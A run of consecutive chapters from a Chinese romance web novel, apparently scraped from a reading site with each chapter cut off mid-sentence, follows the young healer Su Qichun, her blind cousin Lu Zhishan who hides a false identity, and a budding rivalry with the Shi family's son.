苏祈春起初惊讶,但很快反应过来,笑意满满,她对于此事是无可无不可,施之谓一看就是个温文尔雅品德高尚之人,多一个这样的兄长也不是坏事。 她笑着转头去看施之谓,道:“之谓哥哥。” 施之谓失魂落魄地看向她,却见她笑容正好,不觉在心中苦笑。 “以后咱们就是兄妹了。”苏祈春咯咯笑。 “还有我。”施清荷从中间探出头来,一左一右挽住两人的胳膊,“我又多了一个姐姐,以后我们三个便是兄妹了。” “是呢。”苏祈春笑着,笑得很开心。 饭后看完一场烟花,苏家人上马车离开。离开之前,施老夫人令人将那明目的药材送到苏祈春手里,施之谓自告奋勇,领了这差事。 苏祈春掀开车帘,望着施之谓手中的药材盒,喜不自胜,一双眸子比天上的星子还要亮,灼灼的,直取眼前人魂魄。 “谢谢之谓哥哥。”苏祈春接过药材,欣喜万分。 施之谓低头看她,不见她有伤心神色,有些丧气,但还是艰难开口,“纤纤妹妹,想认我做哥哥吗?若是不想……” “纤纤想。”苏祈春睁着忽灵灵的大眼睛,眼里没一点儿犹豫。 施之谓不死心地继续说:“若你不想,我们可以不做兄妹。” 苏祈春听不懂施之谓的话,摇头,“我很喜欢做之谓哥哥的妹妹。” 施之谓被她的这句话打击得心都碎了,他望了会儿苏祈春,无奈叹气,自我安慰着也许苏祈春年岁小,不懂他的意思。 若说苏祈春一点儿不懂,那自然不可能,但她确实懂得不多,就如此时,她窝在苏老夫人怀里,手里抱着那盒药材,笑个不停。 看着苏祈春这模样,苏老夫人心里也打鼓,试探地问苏祈春对陆之山的想法。 苏祈春想也没想,就说:“山哥哥是我的哥哥,还是我的病人,我关心他本就是天经地义的,况且,山哥哥生了那么重的病,我身为大夫和妹妹怎们能不多挂念挂念他呢?” 这话苏祈春说得认真,说得诚实,连苏老夫人都觉得毫无破绽,也因此苏老夫人才总算放下心来,心里不免鄙夷施家人太风声鹤唳,小题大做,不过,事已至此,做兄妹也挺好的。 马车声辘辘地碾过积雪的地面,踏着月光来到苏府。 苏府里,苏知辛夫妻二人连着陆重一家,以及苏三爷一起吃了顿饭,许是过节的缘故,今日这顿饭吃得格外的好,格外畅意。 酒饱饭足后,陆重三人走在回月雪阁的路上,陆重喝了不少的酒,一路上走得跌跌撞撞的,苏泽兰扶着他,担忧地看着他。 月光下,两人相依相偎,相互搀扶,恩爱异常。 陆之山走在两人的身后,孤零零的一道身影落在两人的影子旁,萧萧瑟瑟,冷冷清清,只看着便叫人觉得冷。 他的人也是冷冷的,眼上蒙着布,分明是个盲人,却无人给他指路,无人引他行走,他却不说话,默默地听着风声,凭着风在路上的轨迹去寻回去的路。 可他终究是个盲人,看不清路,难免走错,前面的两人已不见踪影,他摸索着继续走,却越走越偏,来来回回寻了许久,才又找到熟悉的轨迹。 风吹红他的耳朵,他回到青松树下,拢起手中的兔儿灯,兔儿灯微弱的光点亮手心,温热的暖流缓缓摇晃,星河一般撞击着手心。 他低着头,像在看这个兔儿灯,嘴角带着微不可见的笑,可就是这点笑,让他整个人都温柔起来,如一汪清泉里的一朵桃花,亦如春风十里中摇曳的柳叶。 夜很静,但他却仍能听见极微小的声音,甚至是从很远很远的地方传来的声音。 他听着,嘴角的笑意不自觉地变 24. 两世缘 《我表兄天下第一甜》全本免费阅读 24两世缘 小女郎的笑声轻轻的,柔柔的,许是奔波了一天,声音里还带着些疲累。陆之山静静地听着小女郎的话,冷白色的月光透过青松树的树隙照在他脸上的白布上,他一瞬间平静下来,喉咙中的酸层层消退。 “山哥哥,不知道为什么,纤纤总觉得你很亲切,你说,”小女郎抬起明亮的眸子,注视着陆之山,“我们是不是上辈子就见过呀?” “我们是不是从上辈子起,就是兄妹了。” “如果是那样的话,那纤纤真的要高兴坏了,原来纤纤上辈子就遇见山哥哥了。” 手臂上贴着小女郎肉嘟嘟的脸,她像是困了,声音越来越低,时不时地打着哈欠,头不住地往下滑,陆余青伸手揽住小女郎快要滑下去的一颗脑袋,手心却被小女郎满头的珠玉硌到。 他顿了顿,将小女郎的头扶正,冬日的风钻心的凉,拂落小女郎的发丝,细细柔柔的发挠着陆之山的手,止不住地痒。 陆之山小心地扶着小女郎的脑袋,生怕惊扰了她,一只鸟儿在树上扑腾翅膀,小女郎晃了晃身子,陆之山不敢动弹,像等着水面涟漪消散一般安静地等着。 也不知过了多久,周遭终于安静下来,小女郎平稳的呼吸落在他的臂弯,他又等了会儿,等小女郎彻底熟睡时俯下身子,将小女郎背在背上。 许是感受到陆之山的动作,小女郎在睡梦中嘟囔了一句,微微地半睁着眸子,瞧着这个将自己背在身上的人,大雪地里,他身姿欣长,长身玉立,与这洁白冰雪融为一体。 “曲哥哥,是你吗?”小女郎说的话含糊不清。 月光下的陆之山停了停,嘴唇抿成一条锋利的线,风肆意地在他耳边刮过,刮得他耳朵生疼。 他朝着觉明院继续走,身后的小女郎呓语着,“曲哥哥,你舞剑舞得真好。” 圆圆的月照出陆之山沉沉的脚印。 “可是我一直想和你说,我有一个哥哥,他若舞起剑来,一定也很好看。” 陆之山的脚步慢下来。 “可是他不能。”小女郎的声音忽地低下来,浑身抽动着,可怜兮兮地缩成一团。 “因为他看不见。” “我想要治好他,很想很想。” “可是我做不到……” “我做不到!” 小女郎窝在陆之山的脖颈处,从眼眶里溢出来的泪水温热,一点一点地烫着陆之山脖颈上的皮肤,接着又顺着衣领流进来,一路滚到胸膛里,滚成蜿蜒的曲线,最后像万江入海一般汇集到心口上,压得陆之山的心跳都要停了。 他张张嘴,一股剧烈的风便灌进他的嘴里,连着小女郎的哭声,连着他心脏的呐喊,他好想安慰安慰背后的这个小女郎,告诉她,你不要再哭了,山哥哥不怕看不见。 可陆重的话,他许下的誓言,他如今拥有的一切都在提醒他,他是个骗子,他不能说话,也不该说话,他就只能默默地,像个不存在的人一样,哪怕他真的很想说句话。 他真的很想说句话,因为他真的不想她再哭了。 “山哥哥……”小女郎啜泣着,声音越来越轻,哭过的她格外地累,头重又沉沉地垂在陆之山的肩上。 夜晚的风带着寂静的香气,陆之山走得很慢,白雪地里映出他清拔的身影,小女郎白嫩嫩的脸贴着他,均匀的呼吸扫着他脖颈上的肉。 他朝着前方走去,风吹走他微乎其微的声音, “我在。” 第二日,天上又飘起了雪,苏祈春睡了个太阳晒屁股才起床,一觉醒来,眼睛沉沉的疼疼的,拿出镜子一照,才发现自己的眼已经肿成了两颗核桃一般大小。 苏祈春撇着嘴,大叫着喊来茯苓。 听到声音,茯苓便匆匆忙忙赶来,一见苏祈春的样子,也吓了一跳,惊叫道:“我的乖乖,女郎你这是怎么了?怎么弄成这样子了?” 苏祈春摇头,“纤纤不知道,纤纤一觉醒来就变成这样了。” 茯苓皱眉,“女郎你别急,你好好想想昨晚你干什么了?” 苏祈春双手托着下巴,当真认真地想着昨夜的事,她只记得她和山哥哥在说话,要一起过上元节,结果刚说完她就好困好困,就睡着了,之后再醒来时就太阳晒屁股了。 “想不起来。”苏祈春摇头,但随即扬起弯弯的嘴角,“但我知道有一个人一定知道!” “谁啊?”茯苓起初还有些疑惑,但很快就明白过来,恍然大悟地说:“哦,我知道了,是陆公子对不对!” 本来苏祈春是光明正大,心怀坦荡的,但茯苓这话的意味却总好像带着些阴阳怪气,弄得苏祈春自己也有些忐忑起来。 她拉住看热闹不嫌事儿大的茯苓,不让她瞎起哄,“是山哥哥,因为昨晚上我去跟山哥哥过上元节。” “女郎,昨天在施家折腾一天,你晚上还有力气去找陆公子呀?” 苏祈春不知道自己累不累,她只知道和陆之山过上元节是他们两人的约定,既然是约定,那就是一定要做到的。 “是的。”苏祈春脸上没半分犹豫。 茯苓也无话可说了,拿来冰水帕子要为苏祈春敷上。 谁知这时,茜色的窗纱上映出一个修长的身影,苏祈春看过去,眉开眼笑起来,“是山哥哥!” 苏祈春推开门,凛冽的风夹杂着雪花汹涌地冲进来,灌进她的衣服里,她冷得缩了缩脖子,抬眼往陆之山的位置看过去。 “山哥哥!” 陆之山转向她,在冰天雪地里默立。苏祈春跑到陆之山身边,摸了摸他单薄的衣袖,眉心皱成一团,她拉着陆之山往屋子里走,边走边说:“好冷呀,山哥哥,你该穿厚点儿的。” 风声一直到进了屋子才在耳边停止,陆之山手心涌出一团内力,隔着空气暖着苏祈春的手。 他被拉到苏祈春的屋子里,鼻尖充斥着微苦的味道。 茯 25. 冰肌膏 《我表兄天下第一甜》全本免费阅读 25冰肌膏 眼前是灰蒙蒙的一片,浑浊斑驳,刺眼的光透过窗纱照在他眼上,他很快感受到一阵揪心的疼,眼睫下意识地颤了颤,几乎要闭起来,可耳边,苏祈春焦急的声音还在响着,他别过脸看过去,苏祈春的呼吸拂在他脸上。 “山哥哥,你能看到了么?”苏祈春问,她眼中水灵灵的,被这凄冷的天光照得发凉。 她看着眼前这个久久不说话的人儿,想从他艰难睁开的眼睛里找到自己的身影,就像她在曲余青眼中看到的那样,可她看啊看啊,只看到了漆黑一片。 她一瞬间的心痛,不肯相信一般地带着哭腔大喊,“山哥哥,你是不是能看到了?爹爹说这是治眼睛的灵药,一定能治好的,你一定能看见的。” 苏祈春不服输地拿起已经熄灭的药炉,将里面的药灰取出来,试图盖在陆之山的脸上,陆之山静静地对着她,动也未动,就这么纵容她,让她将那犹带着火星的药灰洒在眼上。 火星灼烧着他本就脆弱的眼球,他疼得咬紧了牙,一股腥甜的味道在口腔里面蔓延。他本可以反抗,但他却不想,甚至连疼都不愿意表现出来,因为他真的从苏祈春的话语里听到了悲伤难过,而他不想她这样。 “山哥哥,你为什么还是看不见?”苏祈春绝望地将药灰铺满他的眼,大颗大颗的泪珠啪嗒啪嗒地往下掉,她本就红肿的眼睛,此时红得更厉害了。 屋外的日光渐渐升起来,雪面上反射的光更加冷冽,不管不顾地照进屋里来。 茯苓听着屋里的动静,连忙把苏知辛叫过来,苏祈春这才停下了自己的荒唐举动,她看着陆之山满脸的灰尘,泪水在脸颊上蜿蜒,她不该这样的。 可她却不肯再说话,不肯像之前那样喊着山哥哥,甚至不想看见他,只因她一看见他,就想到他的眼疾,就想到自己的无能为力,就想到自己的绝望。 苏知辛清理好陆之山的伤口,又查看了一番,发现没有妨碍,这才放心下来,转头对苏祈春说:“纤纤,你是在干什么?你是大夫,你怎么能这么对你的病人?” 苏祈春摇着下唇,目光黯淡下来,她算什么大夫呀?她想治好的病她永远都治不好,她算什么大夫? 苏祈春别过脸,不愿说话。 苏知辛少见苏祈春这样,尤其是见到陆之山如此模样,更是忍不住要教训苏祈春,他想了想,少不得要狠下心上手。 苏祈春瞧见苏知辛的动作,一动也不动。 苏知辛闭起眼,扬起手,欲要括下去,却被一个冰凉的手抓住手腕,他回头,望见脸上犹带灰尘的陆之山,愣了一瞬。 按理说,陆之山被那样对待,心里应当有气的,可他竟然毫无怨言,这倒让苏知辛吃了一惊。 陆之山走到苏祈春的面前,颤动的面容像被风吹皱的湖面,他安静地站了一会儿,像是在等着什么,可苏祈春一直没说话,甚至连看也没看他一眼。 他等了许久,终于嘴角轻轻牵动一下,袖袍遮住的手中握着一个玉瓶,他伸出手,将东西递给苏祈春。 苏祈春的目光终于转了转,转至陆之山的手上,她盯着玉瓶,不肯去接。陆之山像猜出她的意思,肩膀塌下来,缓缓转身,将玉瓶放在桌上,之后缓步走到冰天雪地里。 今年真是好大的雪。 陆之山走后,苏祈春便去了杨夫人的屋里,一整日都跟着杨夫人绣帕子,杨夫人瞧出她闷闷不乐的样子,问了几次,苏祈春都不肯说,最后只得作罢。 到了午后,李夫人破天荒地来觉明院看望杨夫人,说话间,李夫人眼睛直往苏祈春身上瞄,渐渐看出苏祈春的不对劲儿来,她思索一番,只以为苏祈春在为着施之谓那事儿伤心呢,她心里冷笑,忍不住再添把火。 “杨姐姐,有件事不知道你听说了么?”李夫人压低了声音说。 杨夫人忙着手里的针线活儿,闻言抬头,问:“什么事儿?” 李夫人道:“施家正在张罗着给施之谓定亲呢,真可惜。” 杨夫人已听说施家认苏祈春做妹妹的事,自然明白施家这是什么意思,“有什么好可惜的?”她的女儿总能找到中意的,错过了施之谓她倒觉得没什么好可惜的。 “怎么不可惜?”李夫人慢悠悠地道,“施家是多好的人家啊,你说咱们纤纤,非要要什么药材,我可是听说,当日那镯子可是施家传给儿媳妇的,施家的意思还不明显吗?” 杨夫人笑笑,“便是传给儿媳妇的又如何?纤纤还小,不可能那么早嫁人的。” “那又如何?”李夫人摇头晃脑的,“若真是相中了,施家也会等纤纤长大的,再说了,这婚事本来就要办个一年半载的,其实纤纤这岁数也该张罗起来了,可惜啊!” 杨夫人冷冷地扫了李夫人一眼。 李夫人见无人理她,又接着说:“你说纤纤非要要那个灵药干嘛?对了,”她转头对苏祈春说:“纤纤,那灵药灵不灵?陆之山的眼睛是不是已经能看见了?” 苏祈春正在绣一株梅花,洁白的帕子上,红色丝线缠绕,她闻言,针猛地扎进去,正扎在她的指尖上,鲜血很快晕成一片,染在帕子上,倒真像朵梅花。 苏祈春低着头,红肿的眼皮低垂,她摇了摇头,嘴角勾起一丝苦笑,“没有。” “没有啊?”李夫人哑然失笑,当日苏祈春出尽风头,最后却因为陆之山的病丢了施家的青眼,好容易换来的药,竟然一点儿用都没有,她想到这些只觉得好笑,“早知如此,当初就不该为了那药拒了施家。” 李夫人说得千回百转,好似真的很可惜这件事一般,可苏祈春却听得心里塞塞的,双眼无神地望着手中的帕子。 杨夫人被李夫人说得也觉得可惜起来,施家家风清明,是个好人家,若能嫁到他家,不说别的,定然不会受苦受委屈,待李夫人走后,她试探地问苏 26. 错与悔 《我表兄天下第一甜》全本免费阅读 26错与悔 月雪阁大门紧闭,周遭静悄悄的,苏祈春站在门外,眼里含着泪水,大喊着“山哥哥”,双手不停地拍着月雪阁的大门。 她声音凄凉可怜,里面犹夹杂了些因寒冷而带来的颤抖。 她流着泪,红肿的眼睛几乎要睁不开了,嘴里喃喃道:“山哥哥,你开开门呀,纤纤错了,纤纤不该那么对你的,纤纤好后悔。” 风吹着她单薄的身子,也连带着将她的声音也撕扯殆尽。 月雪阁里,陆之山听着苏祈春的声音,听得心都要碎了,他下意识地往外走,却被一个身影拦住。 “你要去做什么?”陆重沉着脸看着他。 苏祈春的哭声紧紧地揪着他的心,他试图绕过陆重,往屋外走去,却被陆重再一次拦住。 “滚开。”陆之山掌风扬起,内力在手心中汇聚,他神情冷冽,看得陆之山忍不住双脚发麻。 “你可知道你在做什么事?”陆重强忍着惧意,“你不要忘了,你不是真正的陆之山。” 陆之山的脚步停了停,耳边陆重的声音和苏祈春的声音交织在一起,像一张大网一样拦住他的脚步。 他安静下来,漆黑的屋子里看不清他的神情。 “你不该和苏祈春走得那么近的。”陆重走至陆之山的面前,语重心长,“你可知,苏祈春已快到了婚嫁的年纪?” “前几日,苏祈春为了你,拒绝了施家,湛江县民风保守,你如此做,将苏祈春置于何种境地?还是说,” 陆重盯着陆之山,“你会娶她?” 夜风透过窗户拂过陆之山的脸。 陆重冷冷道:“如果你是真的陆之山,苏家未必不会答应,但你不是,我也不会让苏祈春嫁给你这个来历不明的人的。” 他想了想,又接道:“不是我嫌弃你,你要懂得父母之心,不得不为子女考虑长远。” 苏祈春撕心裂肺的哭喊穿破阍暗的浓夜,直冲进陆之山的耳朵里,毫无阻拦地爬进陆之山的胸膛,直钻进滚烫的心里。 可陆重的话却像一把利刃,直戳在他的心上,他忍着疼,颤抖开口,“可是她哭了。” 苏祈春哭了,那个总是爱笑总是笑意盈盈的小女郎哭了,陆之山不想让她哭,很不想很不想。 “她哭了也与你无关,你不要忘了你的身份,和她走太近对谁都不好。”陆重甩甩袖子离开,没再给陆之山反驳的机会。 屋门“砰”地一声在陆之山面前关掉,屋内重回到一片寂静,连苏祈春的哭声都变小了许多。 陆之山艰难地转身,掩在袖中的手已攥得发白,紧咬的牙关处落下点点鲜血。 为什么他是假的陆之山?若他是真的陆之山就好了。 月雪阁外,苏祈春哭得累倒,她用力地敲着门,可怜地说:“山哥哥,你不要生纤纤的气好不好,求求你,不要生纤纤的气,纤纤知道错了。” 清冷的月光照在她身上,她此时像极了一只脆弱的幼兽。 门忽地一声开了,苏祈春心提上去,眸中光亮闪闪,却只看到了陆重,“二姑父,怎么是你?” 陆重瞧见苏祈春脸上的泪痕,也不禁有些可怜,“纤纤,你还是回去吧。” “为什么?”苏祈春的心一点点沉下去,“山哥哥不愿意见我?” 苏祈春眼里瞬间浮出的泪光让陆重也觉得揪心,但很多事,他不得不那么做,“嗯。” 苏祈春落下一滴泪来,她呜呜地哭,“是我的错,山哥哥一定是在怪我,我不该那么对他的,纤纤错了,纤纤错的彻底。” “可是——”苏祈春面对着陆之山的屋子,声音破碎,“山哥哥,你可不可以原谅纤纤,纤纤以后真的会乖的,纤纤会治好你的病,要是治不好,纤纤就一辈子陪在你身边,哪里都不去。” 月雪阁的窗子上映出陆之山清拔的侧影,他垂着眸,丝毫不为苏祈春的话语所感动。 “山哥哥……”苏祈春往月雪阁里走了两步,想和陆之山说几句话,却被陆重拦住。 “纤纤,回去吧,山儿他需要一个人呆一会儿。” 隔着无边的黑暗,苏祈春目不落睫地看着那侧影,泪水不断地滚下来,她不顾陆重的阻拦,跑到那侧影下,伸出手去碰那影子,强忍着泪说:“山哥哥,你记得按时吃药。” 夜晚的风时轻时重,吹得窗纱上的侧影晃动。 苏祈春抹抹眼泪,转身往外走,她身影落在地上,小小的,短短的,特可怜特孤单。 “纤纤,快回去吧。”陆重说。 苏祈春点头,停下脚步回头又望了一眼,红肿的眼睛几乎连睁都睁不开。 她一步一步地往觉明院走,寒冷早已让她的整个身子都冻僵了,可她还是在啪嗒啪嗒地掉着泪,像怎么也流不完一样。 月雪阁里,陆重关上门,回头见到窗纱上的侧影缩成一团,不停地颤抖着,隔着距离,他甚至都感受到了痛苦。 他甚至有一瞬间的犹豫,但只有一瞬间。 陆之山倒在地上,深入骨髓的寒冷和痛苦一点点侵蚀着他,将他的血肉腐蚀殆尽。 他的泪水浸泡在受伤的眼里,刺骨的疼,可最疼的还是他的心,他好恨,好恨自己不是陆之山。 他为什么不是陆之山? 苏祈春不知道自己怎么回到的床上,她的眼很疼,身上很冷,脑袋很困,心很疼,她迷迷糊糊地躺倒在床上,牙齿还咬着下唇,念着“山哥哥”。 泪水无声地滑过眼角,她渐渐睡着。 黑暗里,她红肿的眼睛真的像两个核桃,鼻尖也是红红的,看起来真可怜。 窗户被风吹动得乱响,夜风从半开着的窗户中漏进来,吹起苏祈春身上的被子,睡梦里,苏祈春浑身发冷,在床上翻滚着找被子。 正此时,一个挺拔的身影不知从什么地方走出来,落在苏祈春的床前,他伸出修长的手,摸索着寻到被子,盖在苏祈春身上,苏祈春这才安睡下来。 那身影坐在苏祈春的床边,静静地听着苏祈春平稳的呼吸,仿佛那呼 27. 回春手 《我表兄天下第一甜》全本免费阅读 27回春手 可那女郎要嫁的人家颇为富贵,因此不想泄露此事,更不想找那些男大夫,于是就想到了苏祈春。 崔夫人拢着苏祈春的双手,抬头问:“纤纤,你可愿意跟着我,跟着你之谓哥哥走一趟?” 苏祈春犹豫着,望向苏老夫人。 其实崔夫人这话苏老夫人至多只信一半,哪里来的病还只能让苏祈春去看了,况且,若真是怕遇见男子,需要避嫌,又何苦带上施之谓? 不过苏老夫人也没多说什么,点头道:“纤纤跟着你兄长去一趟也无妨。” 有了苏老夫人这句话,苏祈春才点了头。 崔夫人欢天喜地地笑着,施之谓凝望着苏祈春,目光缱绻。 一番寒暄后,崔夫人拉着苏祈春,三个人一起上了施府的马车,临走时,几个少年郎骑着马停在苏府门口,崔夫人掀帘去看,瞧见一对双生子,有些眼熟,扭头去看苏祈春。 苏祈春瞟了一眼,淡淡道:“那是我的两个哥哥,上元节那日崔娘娘应当见过的。” 崔夫人这才恍然大悟,不过一想起那日的事,她心里便觉得可惜,于是顺着话问:“纤纤,你那位表兄的病可好了?” 一说起陆之山的病,苏祈春就觉得鼻子酸酸的,她低着头,嗫嚅地道:“没有。” 崔夫人眼明心亮,自然听出苏祈春话语里的失落,她握着苏祈春的手,语气轻柔,“那太可惜了,不过啊,纤纤也别太担心了,你若是再需要什么药,就同崔娘娘讲,我一定给你找来。” 这话说的苏祈春心里暖烘烘的,她前几日拒绝了崔夫人的手镯,辜负了她的好意,她本以为崔夫人一定很生她的气,却不想她竟会这么说,她不由得更加羞愧。 “崔娘娘……”苏祈春本想说些道谢的话,可一开口,泪便流下来了。 “哎哟。”崔夫人瞧见苏祈春落泪的样子,忙抱住她,心疼地说:“这是怎么了?受了什么委屈这是?” 苏祈春闻言哭得更凶了,她窝在崔夫人的怀里,泪水一点点蕴湿崔夫人胸前的衣襟,她含泪摇头,哽咽着说:“纤纤没事,纤纤只是泪水流下来了。” 马车里传来嘤嘤的哭声,风吹青竹一般,施之谓皱眉回头,如墨的眉宇里仿佛含满皱褶的水,他坐在马上,攥着马缰绳的手收了一下,纵马来到车旁。 “母亲,发生了何事?” 苏祈春听到施之谓的声音,忙戴起兜帽,脸侧到一边,不想被看到如此难堪的模样。 崔夫人掀了掀帘子,装作无事道:“没事没事,快走吧。” 顺着帘子的空隙,施之谓往里看,看到那个颤抖着的小小声音,恍惚了一瞬,终于还是点点头,往前走去。 施家的马车很快动起来,施之谓也瞧见了苏川柏兄弟俩,不过令他没想到的是,李元礼竟然也在。 他们三人早在一旁听了一会儿动静,李元礼听着马车里那奶猫叫般的声音,心里像被什么东西轻轻撩拨一般,浑身燥热起来,他胳膊碰碰苏川谷,满脸淫/邪。 苏川谷与他是同道中人,自然明白他的意思,他无耻地笑笑,眯着眼望着摇晃的马车。 崔夫人的娘家在湛江县虽不如施家有名望,却也是守礼清白的书香人家。 崔夫人的父亲是湛江县有名的大儒,是定国二十七年的举人,后因懒于应付官场争斗而辞官,他回到湛江县后也收了几名入室弟子,今日这生病的小女郎,就是其中一位入室弟子的妹妹,名唤婉君的。 婉君躲在帷帐后,羞涩地不肯出来见人,崔夫人笑笑,忙回头,冲着施之谓摆摆手。 等施之谓走远了,婉君才羞答答地走出来,怯怯的一双眼盈满了水,望着崔夫人与苏祈春。 崔夫人上前拉住她,低声问:“怎么样了?别怕,我们是来给你看病的。” 婉君早已知晓今日会有人来看她的病,她点点头,引着两人来到内室。 内室灯火昏暗,但却仍能瞧出布置之精致,苏祈春看得眼花缭乱,不由得觉得自己那尽是草药的屋子略显单调了些。 婉君走到灯火前,犹豫着看向崔夫人。 崔夫人知道她脸皮薄,笑着宽慰,“没事,都是女孩子,不用害羞,看病要紧。” 婉君低了低头,朝向崔夫人,别过脸,拉下身前的衣服。 屋内光线不算亮,但苏祈春还是一眼被婉君身上反射出来的雪白晃到了眼睛。 用晶莹剔透来形容婉君的皮肤一点儿也不夸张,只是可惜的是,美中不足,过犹不及。 这份雪白上长了一片又一片的红点,它们聚在一起,密密麻麻的一团,像是洁白雪地里的一团团红梅。 此时苏祈春才明白过来,为什么崔家不让外面的大夫来看。 “这……”崔夫人惋惜地轻叹,“这到底是怎么回事?” “崔夫人,劳您给婉君看看吧,婉君要嫁人了,这样子可怎么见人。”婉君的泪一滴接着一滴,看得人可怜。 崔夫人叹息着道:“婉君你别急,纤纤她的医术卓绝,一定能给你治好。” 婉君听了这话,一双眼眸骤然睁大,不可置信地看向苏祈春,犹豫着说:“这个小妹妹?” 苏祈春乌黑的眼眸被昏暗的灯火照耀得熠熠辉辉,她弯眸直笑,甜甜的笑容又挂在脸上。 “是呀!”崔夫人拉过苏祈春,“你别看她小,就连怀仁堂的苏大夫都对她的医术赞不绝口。” 婉君张了张嘴,有些难以置信,怀仁堂苏大夫的医术是湛江县里数一数二好的,这小女郎小小年纪竟能得到苏大夫的称赞,想必是定有几把刷子的。 苏祈春没料到她随口说的玩笑话竟然崔夫人记那么久,她有些不好意思地笑笑,往前走到婉君面前,笑着说:“婉君姐姐,我叫纤纤,你别害怕,我会给你治好的。” 眼前的小女郎说得认真,笑得开朗,婉君听了她几句话便觉得欢喜,点点头道:“我信你。” 苏祈春这几日被接连的糟心事打击得心碎,可一旦说起治病,一旦说起医人,她便心里充满了力量,将心中阴霾一点点驱散。 “婉君姐姐,纤纤会向你证明,你没有信错 28. 第一剑 《我表兄天下第一甜》全本免费阅读 28第一剑 苏祈春抬头看过去,只见一个蹙着眉头的小小少年郎,眼睛大大的,正揉着红红的额头。 “清荷妹妹?”苏祈春很快看穿施清荷蹩脚的伪装。 施清荷垂头丧气地哀叹,“怎么纤纤姐姐也认出来了?” 方才一出门,崔夫人便被崔老爷叫走了,只剩苏祈春和施清荷两人。苏祈春挽住施清荷的胳膊,沿着长廊走去。 “也?”苏祈春垂下头去看施清荷,“除了我还有谁认出来呀?” 施清荷嘟着嘴,十分不耐,“还能有谁?” 苏祈春瞧施清荷这副样子,脑子里莫名地闪出一个人的名字,她试探说道:“不会是曲余青吧?” 施清荷睁大眼睛,狠狠点头,“就是他!就是那个可恶的曲余青!” 苏祈春嘴角溢出一抹笑,又问道:“说起来,你怎么这副模样,他又怎么又惹到你了?” “纤纤姐姐,你知道曲余青有多过分吗?”施清荷的眉尖都要拧成麻花了。 苏祈春拉着她坐在廊庑下的美人靠上,今日天清风平,未化的白雪衬得天地间洁净一片,两个小女郎靠在一起,活泼自在,煞是可爱。 “你说说。”苏祈春双腿曲在一旁,颇有耐性地听着施清荷的话。 施清荷歪着小脸儿,朗朗道:“纤纤姐姐,你可知湛江县近日最轰动的事情是什么?” 苏祈春平日不出门,一心扑在陆之山的病上,自然不知道外面的事,她摇摇头。 施清荷猛地拍了拍苏祈春的肩膀,道:“纤纤姐姐竟然不知道,最近最轰动的事当然是武林中的天下第一剑出现在湛江县附近,各大门派均派了强兵来抓他,不过,” “不过什么?” “不过他们当然抓不到,那可是天下第一剑,当年他的那把饮冰剑遇神杀神,遇佛斩佛,没有人能在他手下抵挡十招。”施清荷说着,眼里放出了光。 苏祈春瞧着施清荷心花乱放的模样,笑道:“那这和你,和曲余青又有什么关系?” “当然有了!”说起曲余青,施清荷的嘴嘟得简直可以挂油瓶了,“这天下第一剑出现了,那我不得出去看看,可我好不容易溜出去,却被曲余青给发现了,曲余青又恰好瞧见娘亲的车子,他就把我丢到了崔府,这下我算是见不到天下第一剑了。” 苏祈春听完来龙去脉,不由在心里感叹这两个人真是冤家,可偏偏不是冤家不聚头,越不想碰到的人就越是会碰到。 “那天下第一剑真有那么厉害?”苏祈春问。 “当然!他不仅厉害,还身姿俊逸,美目无双,据说没有任何一个女子可以抵挡得了他的一个眼神。”施清荷捧着脸蛋儿。 “连晋王府里的贵人都听说了他的大名,要见一见他,派了无数人马去寻他,可他面对黄金千两官兵逼迫却丝毫不为之所动,只淡淡地说了一个字:‘滚’。” “但纤纤姐姐,你千万别以为他是什么冷酷无情的人,有些人就算不请他,他也会去见。” “就比如说三年前,他凭着翠微山一战,击败了江湖上有名的十大高手,一举成名,当时多少人都抢着见他,他若是加以利用,定能腰缠万贯,平步青云,可他不!” “他一下子消失了,江湖上没有人能找到他,他就这么销声匿迹了半年,再有他的消息时,他已入了江湖上有名的杀手组织第一楼,而他这半年,竟然一直陪在一位樵夫身边,替他养老送终,只因那个樵夫老年丧子,他不愿看他伤心。” “他还曾在一夜之间,奔波数千里路,从塞北行至江南,只为了替一位六岁的幼儿报杀父之仇。” “这样的人怎么不算厉害呢?”施清荷眸光越来越亮,“要是我能嫁给他就好了。” 苏祈春听得恍惚,心里激起一层澎湃来。 这样的人当然算厉害。 世间上有多少人为了名利屈服折腰,臣服于名利,忘却自己的来路,曲折自己的将来。能坚守本心之人少之又少,是以这样的人也格外动人。 苏祈春由衷地点头,有些明白为什么天下第一剑会那样有名,就连她也忍不住钦佩起来,不过,她还是没想到施清荷这小丫头年纪轻轻就说出嫁人这种话,真是恨嫁少女心。 “可他是杀手,刀里来剑里去,你就不怕你哪天当了寡妇?”苏祈春单手撑在额角上,笑意吟吟地说。 “我才不怕呢!”施清荷双手环抱于胸前,满脸倔强,“他可是天下第一剑,没人能伤得了他。而且就算当了寡妇,我也心甘情愿!” 想了想,她又说:“我不管,我就是要嫁给天下第一剑,谁拦着都不行。” “崔夫人拦着也不行?”苏祈春反问。 施清荷昂头,“娘亲才不会拦着呢,说起拦着这件事,恐怕只有我那个好大哥才会拦着。”施清荷脸颊气得鼓鼓的。 “怎么会?”施之谓在苏祈春脑中的印象并不深刻,更多的是一身儒意的气质,让人想要尊敬,故而她并不觉得施之谓会做出棒打鸳鸯的事。 施清荷站起身,在苏祈春面前走来走去,“纤纤姐姐,这你就不知道了,咱们这个哥哥可没表面上那么好,他啊,就是老学究,死板得很。” “不过,”施清荷在苏祈春面前停下,不服气地说:“就算他拦着我也要嫁!” 苏祈春笑得眉眼弯弯,又点了点施清荷的鼻尖,“哎呀,那天下第一剑要是知道有这么个可人的小女郎在想着他,一定心里乐开了花。” 施清荷别过脸,掩饰着脸颊的微红,“那是自然。” 苏祈春笑了一场,有些累了,心里莫名地空空的。她靠在美人靠上不说话,扭脸去瞧满院子的明明暗暗的雪光。 天下第一剑,她心里喃喃念着这个几个字,想到那日在雪地里舞剑的曲余青,接着又在曲余青身上看到了陆之山的影子。 陆之山的武功不算弱,若是他拿起那柄传说中的饮冰剑,该是怎样的场景。 苏祈春目光落在枝头的一朵白梅上。 说不定陆之山也能遇神杀神,遇佛斩佛,俘获万千少 29. 如利刃 《我表兄天下第一甜》全本免费阅读 29如利刃 “我想要什么?”苏川谷声音像含了刀一样刺耳,“李兄,在你面前我敢要什么吗?只求李兄高抬贵手,吃肉的时候赏我点儿汤喝。” 男声沉默了片刻,阴恻恻地笑道:“你啊你,苏家怎么就生了你这么个祸害呢?” 两人的声音仿佛带着倒刺的荆棘条一般刺着人的耳膜,油腻且恶毒。 清拔孤寂的身影立在簌簌的青竹下,婆娑的竹影遮住他整个面容,他面色不动,彻骨的寒从他的身上蔓延出来,无边无际。 